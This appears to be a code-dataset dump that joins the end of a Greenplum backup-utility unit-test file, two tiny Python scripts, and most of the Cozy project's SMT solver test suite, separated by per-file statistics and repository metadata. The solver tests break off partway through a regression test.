netbackup_keyword = "foo"
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_12(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = "foo"
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.execute_sql', return_value = [['gp_toolkit'], ['pg_toast'], ['pg_bitmapindex'], ['bar'], ['foo'], ['pg_catalog'], ['public'], ['information_schema']])
def test_get_include_schema_list_from_exclude_schema_00(self, mock1):
master_port = "5432"
dbname = 'testdb'
catalog_schema_list = ['gp_toolkit', 'information_schema']
exclude_schema_list = ['public', 'foo']
expected_result = ['bar']
output = get_include_schema_list_from_exclude_schema(exclude_schema_list, catalog_schema_list, master_port, dbname)
self.assertEqual(expected_result.sort(), output.sort())
@patch('gppylib.operations.dump.execute_sql', return_value = [['gp_toolkit'], ['pg_toast'], ['pg_bitmapindex'], ['bar'], ['foo'], ['pg_catalog'], ['public'], ['information_schema']])
def test_get_include_schema_list_from_exclude_schema_01(self, mock1):
master_port = "5432"
dbname = 'testdb'
catalog_schema_list = ['gp_toolkit', 'information_schema']
exclude_schema_list = []
expected_result = ['public', 'foo', 'bar']
output = get_include_schema_list_from_exclude_schema(exclude_schema_list, catalog_schema_list, master_port, dbname)
self.assertEqual(expected_result.sort(), output.sort())
class MailEventTestCase(unittest.TestCase):
def setUp(self):
self.mailEvent = MailEvent(subject="test", message="Hello", to_addrs="example@gopivotal.com")
@patch('gppylib.operations.dump.Command.run')
@patch('gppylib.operations.dump.findCmdInPath', return_value='/bin/mail')
def test_mail_execute_00(self, mock1, mock2):
m = MailEvent(subject="test", message="Hello", to_addrs="example@gopivotal.com")
m.execute()
if __name__ == '__main__':
unittest.main()
| 54.463483
| 359
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| 0.935051
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| 155,112
| 2,847
| 360
| 54.482613
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| 0.003221
| 0.23015
| 0.14361
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0
| 8
|
e21ed6113a86d76e34af42093fa22f53b649c4aa
| 59
|
py
|
Python
|
bot/utils/__init__.py
|
Im-zeus/Stickers
|
f2484a1ecc9a3e4a2029eaadbde4ae1b0fe74536
|
[
"MIT"
] | 44
|
2018-10-30T14:47:14.000Z
|
2022-03-26T15:17:52.000Z
|
bot/utils/__init__.py
|
Im-zeus/Stickers
|
f2484a1ecc9a3e4a2029eaadbde4ae1b0fe74536
|
[
"MIT"
] | 37
|
2018-11-09T11:51:15.000Z
|
2021-12-27T15:08:48.000Z
|
bot/utils/__init__.py
|
Im-zeus/Stickers
|
f2484a1ecc9a3e4a2029eaadbde4ae1b0fe74536
|
[
"MIT"
] | 38
|
2019-03-27T21:12:23.000Z
|
2022-01-08T07:57:39.000Z
|
from .helpers import utils
from .helpers import decorators
| 19.666667
| 31
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0
| 7
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e23ad8c48b2a29515ca040bd3244c89203ecb80c
| 30
|
py
|
Python
|
001113StepikPyGEK/StepikPyGEK001113сh01p04st12C05_20200407.py
|
SafonovMikhail/python_000577
|
739f764e80f1ca354386f00b8e9db1df8c96531d
|
[
"Apache-2.0"
] | null | null | null |
001113StepikPyGEK/StepikPyGEK001113сh01p04st12C05_20200407.py
|
SafonovMikhail/python_000577
|
739f764e80f1ca354386f00b8e9db1df8c96531d
|
[
"Apache-2.0"
] | null | null | null |
001113StepikPyGEK/StepikPyGEK001113сh01p04st12C05_20200407.py
|
SafonovMikhail/python_000577
|
739f764e80f1ca354386f00b8e9db1df8c96531d
|
[
"Apache-2.0"
] | null | null | null |
print(5 ** 0.36 * 25 ** 0.32)
| 15
| 29
| 0.466667
| 7
| 30
| 2
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.391304
| 0.233333
| 30
| 1
| 30
| 30
| 0.217391
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
2c36833902e5ea02dad2f75d26f73c64c79c6046
| 338,141
|
py
|
Python
|
tests/solver.py
|
MostAwesomeDude/cozy
|
e7b0ace2915c54b1176fc4d3eed289ede109a058
|
[
"Apache-2.0"
] | null | null | null |
tests/solver.py
|
MostAwesomeDude/cozy
|
e7b0ace2915c54b1176fc4d3eed289ede109a058
|
[
"Apache-2.0"
] | null | null | null |
tests/solver.py
|
MostAwesomeDude/cozy
|
e7b0ace2915c54b1176fc4d3eed289ede109a058
|
[
"Apache-2.0"
] | null | null | null |
import unittest
from cozy.common import OrderedSet
from cozy.solver import satisfy, valid, satisfiable, IncrementalSolver, ModelCachingSolver
from cozy.typecheck import typecheck, retypecheck
from cozy.target_syntax import *
from cozy.structures.heaps import *
from cozy.syntax_tools import pprint, equal, implies, mk_lambda, free_vars
zero = ENum(0).with_type(TInt())
one = ENum(1).with_type(TInt())
def check_encoding(e, require=T, **opts):
v = fresh_var(e.type)
m = satisfy(EAll([require, EEq(e, v)]), validate_model=True, **opts)
assert m is not None
class TestSolver(unittest.TestCase):
def test_symbolic_tuple(self):
b = EVar("b").with_type(BOOL)
x = EVar("x").with_type(TTuple((INT, INT)))
y = EVar("y").with_type(TTuple((INT, INT)))
e = equal(ETupleGet(ECond(b, x, y), 0), one)
assert retypecheck(e)
check_encoding(e)
def test_the_empty(self):
x = EEmptyList().with_type(TBag(TInt()))
assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", one).with_type(TBool())) is None
def test_the1(self):
x = ESingleton(zero).with_type(TBag(TInt()))
assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", zero).with_type(TBool())) is not None
assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", one).with_type(TBool())) is None
def test_the_acts_like_first(self):
x = EBinOp(ESingleton(zero).with_type(TBag(TInt())), "+", ESingleton(one).with_type(TBag(TInt()))).with_type(TBag(TInt()))
assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", zero).with_type(TBool())) is not None
assert satisfy(EBinOp(EUnaryOp("the", x).with_type(INT), "==", one).with_type(TBool())) is None
def test_the2(self):
tgroup = TRecord((('name', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), ('groupList', TBag(TString())), ('members', TBag(TNative('org.xmpp.packet.JID'))), ('administrators', TBag(TNative('org.xmpp.packet.JID')))))
groups = EVar('groups').with_type(TBag(THandle('groups', tgroup)))
e = EUnaryOp('not', EBinOp(EUnaryOp('the', groups).with_type(THandle('groups', tgroup)), '==', EUnaryOp('the', EMap(EFilter(groups, ELambda(EVar('g').with_type(THandle('groups', tgroup)), EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('groups', tgroup)), 'val').with_type(tgroup), 'name').with_type(TString()), '==', EVar('name').with_type(TString())).with_type(TBool()))).with_type(TBag(THandle('groups', tgroup))), ELambda(EVar('g').with_type(THandle('groups', tgroup)), EVar('g').with_type(THandle('groups', tgroup)))).with_type(TBag(THandle('groups', tgroup)))).with_type(THandle('groups', tgroup))).with_type(TBool())).with_type(TBool())
vars = [EVar('users').with_type(TBag(THandle('users', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), EVar('rosterItems').with_type(TBag(THandle('rosterItems', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), groups, EVar('name').with_type(TString())]
errs = typecheck(e, env={ v.id:v.type for v in vars })
assert not errs
assert satisfy(e, vars=vars, validate_model=True) is not None
def test_empty_sum(self):
x = EVar("x").with_type(TInt())
model = satisfy(equal(x, EUnaryOp("sum", EEmptyList().with_type(TBag(TInt()))).with_type(INT)))
assert model is not None
assert model[x.id] == 0
def test_symbolic_maps1(self):
x = EVar("x").with_type(TMap(TInt(), TInt()))
y = EVar("y").with_type(TMap(TInt(), TInt()))
e = ENot(equal(x, y))
check_encoding(e)
def test_symbolic_maps2(self):
x = EVar("x").with_type(TMap(TInt(), TInt()))
e = ENot(equal(x, x))
assert not satisfiable(e, validate_model=True)
def test_symbolic_maps3(self):
b = EVar("b").with_type(BOOL)
x = EVar("x").with_type(TMap(INT, INT))
y = EVar("y").with_type(TMap(INT, INT))
z = EVar("z").with_type(INT)
e = equal(EMapGet(ECond(b, x, y), z), z)
assert retypecheck(e)
check_encoding(e)
def test_flatmap(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('unique', EMap(EVar('ints').with_type(TBag(THandle('_HandleType12', TInt()))), ELambda(EVar('_var13').with_type(THandle('_HandleType12', TInt())), EGetField(EVar('_var13').with_type(THandle('_HandleType12', TInt())), 'val').with_type(TInt()))).with_type(TBag(TInt()))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('ints').with_type(TBag(THandle('_HandleType12', TInt())))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('unique', EFlatMap(EVar('ints').with_type(TBag(THandle('_HandleType12', TInt()))), ELambda(EVar('_var458').with_type(THandle('_HandleType12', TInt())), ESingleton(EVar('_var458').with_type(THandle('_HandleType12', TInt()))).with_type(TBag(THandle('_HandleType12', TInt()))))).with_type(TBag(THandle('_HandleType12', TInt())))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=None, collection_depth=2, validate_model=True)
def test_filter_true(self):
xs = EVar("xs").with_type(TBag(THandle("X", INT)))
e1 = EFilter(xs, mk_lambda(xs.type.t, lambda x: equal(EGetField(x, "val"), ENum(0).with_type(INT))))
assert retypecheck(e1)
e2 = EFilter(e1, mk_lambda(xs.type.t, lambda x: EBool(True)))
assert retypecheck(e2)
assert valid(equal(e1, e2))
def test_make_record(self):
t = TRecord((("f", INT), ("g", INT)))
a = EVar("a").with_type(INT)
b = EVar("b").with_type(INT)
x = EMakeRecord((("f", a), ("g", b))).with_type(t)
y = EMakeRecord((("f", b), ("g", a))).with_type(t)
z = EMakeRecord((("g", b), ("f", a))).with_type(t)
assert not valid(equal(x, y), validate_model=True)
assert valid(equal(x, z), validate_model=True)
def test_unary_minus(self):
a = EVar("a").with_type(INT)
check_encoding(ENot(equal(a, EUnaryOp("-", a).with_type(INT))))
def test_distinct(self):
a = EVar("a").with_type(TBag(INT))
check_encoding(ENot(equal(a, EUnaryOp("distinct", a).with_type(TBag(INT)))))
def test_unique_distinct(self):
a = EVar("a").with_type(TBag(INT))
assert valid(implies(EUnaryOp("unique", a).with_type(BOOL), equal(a, EUnaryOp("distinct", a).with_type(TBag(INT)))), validate_model=True)
def test_distinct_of_empty(self):
for t in (TSet, TBag, TList):
e = EEmptyList().with_type(t(INT))
x = EVar("x").with_type(e.type)
check_encoding(EEq(x, EUnaryOp(UOp.Distinct, e).with_type(e.type)))
def test_emap(self):
e = EEq(
EVar("xs").with_type(INT_BAG),
EMap(EVar("ys").with_type(INT_BAG), mk_lambda(INT, lambda x: EBinOp(x, "+", ONE).with_type(INT))).with_type(INT_BAG))
check_encoding(e)
def test_map_keys_unique(self):
a = EVar("a").with_type(TMap(INT, INT))
e = EUnaryOp(UOp.AreUnique, EMapKeys(a).with_type(TBag(INT))).with_type(BOOL)
assert valid(e, validate_model=True)
check_encoding(e)
def test_map_keys_distinct(self):
a = EVar("a").with_type(TMap(INT, INT))
e = equal(EMapKeys(a).with_type(TBag(INT)), EUnaryOp(UOp.Distinct, EMapKeys(a).with_type(TBag(INT))).with_type(TBag(INT)))
assert valid(e, validate_model=True)
check_encoding(e)
def test_distinct_filter(self):
a = EVar("a").with_type(TBag(INT))
e = ENot(equal(EUnaryOp(UOp.Distinct, EFilter(a, mk_lambda(a.type.t, lambda x: equal(x, zero)))), EEmptyList().with_type(a.type)))
assert retypecheck(e)
check_encoding(e)
def test_unary_all(self):
a = EUnaryOp(UOp.All, EVar("a").with_type(TBag(BOOL)))
assert retypecheck(a)
check_encoding(a)
def test_unary_any(self):
a = EUnaryOp(UOp.Any, EVar("a").with_type(TBag(BOOL)))
assert retypecheck(a)
check_encoding(a)
def test_symbolic_enum_left(self):
T = TEnum(("A", "B"))
x = EVar("x").with_type(T)
e = equal(x, EEnumEntry("B").with_type(T))
check_encoding(e)
def test_symbolic_enum_right(self):
T = TEnum(("A", "B"))
x = EVar("x").with_type(T)
e = equal(EEnumEntry("B").with_type(T), x)
check_encoding(e)
def test_enum_order(self):
T = TEnum(("B", "A"))
x = EVar("x").with_type(T)
y = EVar("y").with_type(T)
check_encoding(EBinOp(x, "<", y).with_type(BOOL))
def test_bag_deep_equals(self):
x = EVar("x").with_type(INT_BAG)
y = EVar("y").with_type(INT_BAG)
assert satisfiable(EAll((
EEq(x, y),
ENot(EBinOp(x, "===", y).with_type(BOOL)))), collection_depth=3, validate_model=True)
def test_regression6(self):
satisfy(EBinOp(EMakeMap2(EMap(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'key').with_type(TNative('uint64_t')))).with_type(TBag(TNative('uint64_t'))), ELambda(EVar('_var44256').with_type(TNative('uint64_t')), EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'key').with_type(TNative('uint64_t')), '==', EVar('_var44256').with_type(TNative('uint64_t'))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))))), '==', EMakeMap2(ESingleton(EVar('_var44256').with_type(TNative('uint64_t'))).with_type(TBag(TNative('uint64_t'))), ELambda(EVar('_var44256').with_type(TNative('uint64_t')), EEmptyList().with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TBool()), vars=OrderedSet([EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), EVar('_var44256').with_type(TNative('uint64_t'))]), collection_depth=2, validate_model=True)
def test_regression7(self):
satisfy(EBinOp(EMakeMap2(EMap(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'key').with_type(TNative('uint64_t')))).with_type(TBag(TNative('uint64_t'))), ELambda(EVar('_var44256').with_type(TNative('uint64_t')), EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var44268').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'key').with_type(TNative('uint64_t')), '==', EVar('_var44256').with_type(TNative('uint64_t'))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))))), 'in', ESingleton(EMakeMap2(ESingleton(EVar('_var44256').with_type(TNative('uint64_t'))).with_type(TBag(TNative('uint64_t'))), ELambda(EVar('_var44256').with_type(TNative('uint64_t')), EEmptyList().with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))))).with_type(TBag(TMap(TNative('uint64_t'), TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))))))).with_type(TBool()), vars=OrderedSet([EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), EVar('_var44256').with_type(TNative('uint64_t'))]), collection_depth=2, validate_model=True)
def test_regression8(self):
satisfy(EBinOp(EUnaryOp('not', EBinOp(EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), '==', EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TBool())).with_type(TBool()), 'and', ELet(EMakeMap2(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EMakeMap2(EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), '==', EEnumEntry('Disk').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 